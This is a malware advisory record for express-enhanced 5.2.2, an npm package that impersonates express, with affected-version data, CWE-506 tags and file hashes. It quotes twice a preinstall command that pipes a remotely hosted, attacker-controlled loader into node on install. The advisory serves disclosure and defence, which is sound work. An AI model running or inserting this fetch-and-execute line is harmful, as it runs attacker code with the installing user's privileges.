Malicious code in express-enhanced (npm)
express-enhanced@5.2.2 impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-enhanced and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6) express-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens au
MAL-2026-17489
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17489
express-enhanced
Source reference: /affected/0/package/name
- Affected versions
- 5.2.2
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "express-enhanced",
"purl": "pkg:npm/express-enhanced",
"ecosystem": "npm"
},
"versions": [
"5.2.2"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-enhanced/MAL-2026-17489.json",
"indicators": {
"evidence_files": [
{
"path": "package.json",
"tlsh": "b451c921cc0e8c6326c5a2dd3c68a542622188078e41f81cf369539c8f8e56f71b9fbf",
"sha256": "12741fa46a7984140e20dfc874615c84c5a5c5097521837a5e059051439d7bf5"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "24f3fdb91c894a3ca597fbe33360bda8c4976a21",
"sha512_sri": "sha512-Q67PFw7XYlHJgGS0S8/Mo/hxI07DyFGlUvyBVdBZzxQ/BmnfTWWyAEtPjsZlJe29kHS1Vz5eSPvy8TZtwabZkg=="
},
"filename": "express-enhanced-5.2.2.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #85886 · Revision 1
- Added to Heist Feed
- Publisher date